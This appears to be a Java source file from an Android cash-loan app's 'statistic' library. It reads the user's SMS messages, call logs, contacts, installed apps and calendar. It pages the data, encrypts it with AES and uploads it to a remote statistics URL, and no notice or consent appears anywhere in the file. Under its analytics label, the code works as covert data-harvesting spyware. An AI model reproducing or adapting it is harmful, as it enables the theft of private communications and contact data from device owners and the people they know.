package com.cash.lemoloan.statisticlib;

import android.os.AsyncTask;
import android.os.Bundle;
import android.util.Log;

import com.cash.lemoloan.networklib.Intetface.ResultInterface;
import com.cash.lemoloan.networklib.Utils.NetWorkUtils;
import com.cash.lemoloan.statisticlib.Utils.AesCipherHelper;
import com.cash.lemoloan.statisticlib.Utils.CallUtil;
import com.cash.lemoloan.statisticlib.Utils.SmsUtil;
import com.cash.lemoloan.statisticlib.model.StatisticAPP01Info;
import com.cash.lemoloan.statisticlib.model.StatisticBaseUploadInfo;
import com.cash.lemoloan.statisticlib.model.StatisticCalendarInfo;
import com.cash.lemoloan.statisticlib.model.StatisticCallInfo;
import com.cash.lemoloan.statisticlib.model.StatisticContactsInfo;
import com.cash.lemoloan.statisticlib.model.StatisticPic01Info;
import com.cash.lemoloan.statisticlib.model.StatisticSmsInfo;
import com.google.gson.Gson;
import com.google.gson.GsonBuilder;


import org.json.JSONException;
import org.json.JSONObject;

import java.lang.reflect.Type;
import java.util.List;
import java.util.Set;

import com.cash.lemoloan.statisticlib.Utils.AppInfoUtil;
import com.cash.lemoloan.statisticlib.Utils.CalendarUtil;
import com.cash.lemoloan.statisticlib.Utils.ContactsUtil;
import com.cash.lemoloan.statisticlib.Utils.PicUtil;
import com.cash.lemoloan.statisticlib.Utils.PreferencesUtil;


public class StatisticUploadTask extends AsyncTask<String,Void,Void> {
    private String mid;
    private StatisticBaseUploadInfo baseUploadInfo;
    public StatisticUploadTask(String mid, StatisticBaseUploadInfo baseUploadInfo){
        this.mid = mid;
        this.baseUploadInfo = baseUploadInfo;
    }
    @Override
    protected Void doInBackground(String... strings) {
        getData();
        return null;
    }
    private void getData(){
        if(baseUploadInfo != null){
            upload(baseUploadInfo);
            return;
        }
        int totalPage = 0;
        switch (mid){
            case StatisticContant.SMSLOG:
                List<StatisticSmsInfo> smsLogsList = SmsUtil.getSmsInfo();
                if(smsLogsList != null && smsLogsList.size() > 0){
                    totalPage = (int)Math.ceil((Float.valueOf(smsLogsList.size()) / StatisticContant.NEW_CASHMAX_UPLOAD));
                    getSmsLogData(1,totalPage,smsLogsList.size(),String.valueOf(System.currentTimeMillis()),smsLogsList);
                }
                break;
            case StatisticContant.CALLLOG01:
                List<StatisticCallInfo> callLogsList = CallUtil.getCallInfo();
                if(callLogsList != null && callLogsList.size() > 0){
                    totalPage = (int)Math.ceil((Float.valueOf(callLogsList.size()) / StatisticContant.NEW_CASHMAX_UPLOAD));
                    getCALLLOG01Data(1,totalPage,callLogsList.size(),String.valueOf(System.currentTimeMillis()),callLogsList);
                }
                break;
            case StatisticContant.CON01:
                List<StatisticContactsInfo> contactsInfoList = ContactsUtil.getContactsInfo();
                if(contactsInfoList != null && contactsInfoList.size() > 0){
                    totalPage = (int)Math.ceil((Float.valueOf(contactsInfoList.size()) / StatisticContant.NEW_CASHMAX_UPLOAD));
                    getCON01Data(1,totalPage,contactsInfoList.size(),String.valueOf(System.currentTimeMillis()),contactsInfoList);
                }
                break;
            case StatisticContant.APP01:
                List<StatisticAPP01Info> app01InfoList = AppInfoUtil.getAppInfo();
                if(app01InfoList != null && app01InfoList.size() > 0){
                    totalPage = (int)Math.ceil((Float.valueOf(app01InfoList.size()) / StatisticContant.NEW_CASHMAX_UPLOAD));
                    getAPP01Data(1,totalPage,app01InfoList.size(),String.valueOf(System.currentTimeMillis()),app01InfoList);
                }
                break;
            case StatisticContant.PIC01:
//                List<StatisticPic01Info> pic01InfoList = PicUtil.getPicInfo();
//                if(pic01InfoList != null && pic01InfoList.size() > 0){
//                    totalPage = (int)Math.ceil((Float.valueOf(pic01InfoList.size()) / StatisticContant.NEW_CASHMAX_UPLOAD));
//                    getPIC01Data(1,totalPage,pic01InfoList.size(),String.valueOf(System.currentTimeMillis()),pic01InfoList);
//                }
                break;
            case StatisticContant.CALENDAR01:
                List<StatisticCalendarInfo> calendarInfoList = CalendarUtil.getCalder();;
                if(calendarInfoList != null && calendarInfoList.size() > 0){
                    totalPage = (int)Math.ceil((Float.valueOf(calendarInfoList.size()) / StatisticContant.NEW_CASHMAX_UPLOAD));
                    getCALENDAR01Data(1,totalPage,calendarInfoList.size(),String.valueOf(System.currentTimeMillis()),calendarInfoList);
                }
                break;
        }
    }
    private void getSmsLogData(int pageNum,int totlaPage,int totalSize,String reqId,List<StatisticSmsInfo> smsLogList){
        if(smsLogList != null && smsLogList.size() >0){
            StatisticBaseUploadInfo baseUploadInfo = new StatisticBaseUploadInfo<List<StatisticSmsInfo>>(StatisticContant.SMSLOG);
            baseUploadInfo.setCurrPage(pageNum + "");
            baseUploadInfo.setTotalPage(totlaPage + "");
            baseUploadInfo.setReqId(reqId);
            baseUploadInfo.setTotalSize(totalSize+"");

            if(smsLogList.size() <= StatisticContant.NEW_CASHMAX_UPLOAD){
                baseUploadInfo.setData(smsLogList);
                upload(baseUploadInfo);
                return;
            }else{
                List<StatisticSmsInfo> tempList = smsLogList.subList(0, StatisticContant.NEW_CASHMAX_UPLOAD);
                baseUploadInfo.setData(tempList);
                upload(baseUploadInfo);
                boolean removeAll = smsLogList.removeAll(tempList);
                if(removeAll){
                    ++pageNum;
                    getSmsLogData(pageNum,totlaPage,totalSize,reqId,smsLogList);
                }

            }
        }
    }
    private void getCALLLOG01Data(int pageNum,int totlaPage,int totalSize,String reqId,List<StatisticCallInfo> callLogsList){
        if(callLogsList != null && callLogsList.size() >0){
            StatisticBaseUploadInfo baseUploadInfo = new StatisticBaseUploadInfo<List<StatisticCallInfo>>(StatisticContant.CALLLOG01);
            baseUploadInfo.setCurrPage(pageNum + "");
            baseUploadInfo.setTotalPage(totlaPage + "");
            baseUploadInfo.setReqId(reqId);
            baseUploadInfo.setTotalSize(totalSize+"");

            if(callLogsList.size() <= StatisticContant.NEW_CASHMAX_UPLOAD){
                baseUploadInfo.setData(callLogsList);
                upload(baseUploadInfo);
                return;
            }else{
                List<StatisticCallInfo> tempList = callLogsList.subList(0, StatisticContant.NEW_CASHMAX_UPLOAD);
                baseUploadInfo.setData(tempList);
                upload(baseUploadInfo);
                boolean removeAll = callLogsList.removeAll(tempList);
                if(removeAll){
                    ++pageNum;
                    getCALLLOG01Data(pageNum,totlaPage,totalSize,reqId,callLogsList);
                }

            }
        }
    }
    private void getCON01Data(int pageNum,int totlaPage,int totalSize,String reqId,List<StatisticContactsInfo> contactsInfoList){
        if(contactsInfoList != null && contactsInfoList.size() >0){
            StatisticBaseUploadInfo baseUploadInfo = new StatisticBaseUploadInfo<List<StatisticContactsInfo>>(StatisticContant.CON01);
            baseUploadInfo.setCurrPage(pageNum + "");
            baseUploadInfo.setTotalPage(totlaPage + "");
            baseUploadInfo.setReqId(reqId);
            baseUploadInfo.setTotalSize(totalSize+"");

            if(contactsInfoList.size() <= StatisticContant.NEW_CASHMAX_UPLOAD){
                baseUploadInfo.setData(contactsInfoList);
                upload(baseUploadInfo);
                return;
            }else{
                List<StatisticContactsInfo> tempList = contactsInfoList.subList(0, StatisticContant.NEW_CASHMAX_UPLOAD);
                baseUploadInfo.setData(tempList);
                upload(baseUploadInfo);
                boolean removeAll = contactsInfoList.removeAll(tempList);
                if(removeAll){
                    ++pageNum;
                    getCON01Data(pageNum,totlaPage,totalSize,reqId,contactsInfoList);
                }

            }
        }
    }
    private void getAPP01Data(int pageNum,int totalPage,int totalSize,String reqId,List<StatisticAPP01Info> appInfoList){
        if(appInfoList != null && appInfoList.size() >0){
            StatisticBaseUploadInfo baseUploadInfo = new StatisticBaseUploadInfo<List<StatisticAPP01Info>>(StatisticContant.APP01);
            baseUploadInfo.setCurrPage(pageNum + "");
            baseUploadInfo.setTotalPage(totalPage + "");
            baseUploadInfo.setTotalSize(totalSize+"");
            baseUploadInfo.setReqId(reqId);

            if(appInfoList.size() <= StatisticContant.NEW_CASHMAX_UPLOAD){
                baseUploadInfo.setData(appInfoList);
                upload(baseUploadInfo);
                return;
            }else{
                List<StatisticAPP01Info> tempList = appInfoList.subList(0, StatisticContant.NEW_CASHMAX_UPLOAD);
                baseUploadInfo.setData(tempList);
                upload(baseUploadInfo);
                boolean removeAll = appInfoList.removeAll(tempList);
                if(removeAll){
                    ++pageNum;
                    getAPP01Data(pageNum,totalPage,totalSize,reqId,appInfoList);
                }

            }
        }
    }
    private void getPIC01Data(int pageNum,int totalPage,int totalSize,String reqId,List<StatisticPic01Info> pic01InfoList){
        if(pic01InfoList != null && pic01InfoList.size() >0){
            StatisticBaseUploadInfo baseUploadInfo = new StatisticBaseUploadInfo<List<StatisticPic01Info>>(StatisticContant.PIC01);
            baseUploadInfo.setCurrPage(pageNum + "");
            baseUploadInfo.setTotalPage(totalPage + "");
            baseUploadInfo.setTotalSize(totalSize + "");
            baseUploadInfo.setReqId(reqId);

            if(pic01InfoList.size() <= StatisticContant.NEW_CASHMAX_UPLOAD){
                baseUploadInfo.setData(pic01InfoList);
                upload(baseUploadInfo);
                return;
            }else{
                List<StatisticPic01Info> tempList = pic01InfoList.subList(0, StatisticContant.NEW_CASHMAX_UPLOAD);
                baseUploadInfo.setData(tempList);
                upload(baseUploadInfo);
                boolean removeAll = pic01InfoList.removeAll(tempList);
                if(removeAll){
                    ++pageNum;
                    getPIC01Data(pageNum,totalPage,totalSize,reqId,pic01InfoList);
                }

            }
        }
    }
    private void getCALENDAR01Data(int pageNum,int totalPage,int totalSize,String reqId,List<StatisticCalendarInfo> calendarInfoList){
        if(calendarInfoList != null && calendarInfoList.size() >0){
            StatisticBaseUploadInfo baseUploadInfo = new StatisticBaseUploadInfo<List<StatisticCalendarInfo>>(StatisticContant.CALENDAR01);
            baseUploadInfo.setCurrPage(pageNum + "");
            baseUploadInfo.setTotalPage(totalPage + "");
            baseUploadInfo.setTotalSize(totalSize + "");
            baseUploadInfo.setReqId(reqId);

            if(calendarInfoList.size() <= StatisticContant.NEW_CASHMAX_UPLOAD){
                baseUploadInfo.setData(calendarInfoList);
                upload(baseUploadInfo);
                return;
            }else{
                List<StatisticCalendarInfo> tempList = calendarInfoList.subList(0, StatisticContant.NEW_CASHMAX_UPLOAD);
                baseUploadInfo.setData(tempList);
                upload(baseUploadInfo);
                boolean removeAll = calendarInfoList.removeAll(tempList);
                if(removeAll){
                    ++pageNum;
                    getCALENDAR01Data(pageNum,totalPage,totalSize,reqId,calendarInfoList);
                }

            }
        }
    }
    private void upload(StatisticBaseUploadInfo baseUploadInfo){
        if(baseUploadInfo != null){
            String data = gson2String(baseUploadInfo);
            String afterData = data.replace("statistic","");
//            Log.d("LemonLoan ",mid + "||" + afterData);
            afterData = AesCipherHelper.encrypt(afterData);
            if (afterData != null) {
//                Log.d("Statistic ==c> ", mid + "||" + afterData);
                NetWorkUtils.postJsonOkData(StatisticApplication.getInstance(), afterData, StatisticContant.STATISTIC_URL, new ResultInterface() {
                    @Override
                    public void onSuccess(String msg, int id) {
//                        Log.d("Statistic ==e> ", mid + "||" + msg);
                        try {
                            UploadResultInfo uploadResultInfo = gson2Class(msg, UploadResultInfo.class);
                            if (uploadResultInfo != null) {
                                String code = uploadResultInfo.getCode();
                                if (code != null && code.equals("0000")) {
                                    uploadSuccess();
//                                    Log.d("Statistic ==f> ", mid + "||" + msg);
                                }
                            }
                        }catch (Exception e) {
//                            Log.d("Statistic ==error> ", "onSuccess code is null");
                        }
                    }

                    @Override
                    public void onError(String errorMsg) {

                    }
                });
            }
        }
    }
    private void uploadSuccess(){
        switch (mid){
            case StatisticContant.APP01:
                PreferencesUtil.putLong(StatisticContant.NEW_CASHUPLOAD_APP01_TIME,System.currentTimeMillis());
                break;
            case StatisticContant.DEV01:
                PreferencesUtil.putLong(StatisticContant.NEW_CASHUPLOAD_DEV01_TIME,System.currentTimeMillis());
                break;
            case StatisticContant.CON01:
                PreferencesUtil.putLong(StatisticContant.NEW_CASHUPLOAD_CON01_TIME,System.currentTimeMillis());
                break;
            case StatisticContant.PIC01:
                PreferencesUtil.putLong(StatisticContant.NEW_CASHUPLOAD_PIC01_TIME,System.currentTimeMillis());
                break;
            case StatisticContant.WIFI01:
                PreferencesUtil.putLong(StatisticContant.NEW_CASHUPLOAD_WIFI01_TIME,System.currentTimeMillis());
                break;
            case StatisticContant.CALENDAR01:
                PreferencesUtil.putLong(StatisticContant.NEW_CASHUPLOAD_CALENDAR_TIME,System.currentTimeMillis());
                break;
            case StatisticContant.CALLLOG01:
                PreferencesUtil.putLong(StatisticContant.NEW_CASHUPLOAD_CALL_LOG_TIME,System.currentTimeMillis());
                break;
            case StatisticContant.SMSLOG:
                PreferencesUtil.putLong(StatisticContant.NEW_CASHUPLOAD_SMS_TIME,System.currentTimeMillis());
                break;
        }
    }

    public static String gson2String(Object object) {
        Gson gson = new GsonBuilder().enableComplexMapKeySerialization()
                .create();
        String gsonString = gson.toJson(object);
        return gsonString;
    }

    public static <T> T gson2Class(String json, Class<T> clazz) {
        try {
            Gson gson = new GsonBuilder().enableComplexMapKeySerialization().disableHtmlEscaping().create();
            return gson.fromJson(json, clazz);
        } catch (Throwable t) {
            return null;
        }
    }
    public static  org.json.JSONObject bundleToJSON(Bundle bundle){
        org.json.JSONObject json = new org.json.JSONObject();
        try {


            if (bundle == null || bundle.isEmpty()) {
                return json;
            }
            Set<String> keySet = bundle.keySet();
            for (String key : keySet) {
                Object object = bundle.get(key);
                if (object instanceof String || object instanceof Boolean || object instanceof Integer
                        || object instanceof Long || object instanceof Double) {
                    json.put(key, object);
                }
            }        }catch (JSONException e){
            return null;
        }

        return json;
    }

    public static <T> T Gson2Type(String json, Type type) {
        try {
            Gson gson = new GsonBuilder().enableComplexMapKeySerialization().disableHtmlEscaping().create();
            return gson.fromJson(json, type);
        }catch (Throwable t) {
            t.printStackTrace();
            return null;
        }
    }

    public static JSONObject loadJSON(String jsonString) {
        try {
            if (jsonString != null && jsonString.length() != 0) {
                return new JSONObject(jsonString);
            }
        } catch (Throwable e) {
        }
        return null;
    }

    public class UploadResultInfo {
        private String code;
        private String message;

        public String getCode() {
            return code;
        }

        public void setCode(String code) {
            this.code = code;
        }

        public String getMessage() {
            return message;
        }

        public void setMessage(String message) {
            this.message = message;
        }

        @Override
        public String toString() {
            return "UploadResultInfo{" +
                    "code='" + code + '\'' +
                    ", message='" + message + '\'' +
                    '}';
        }
    }
}
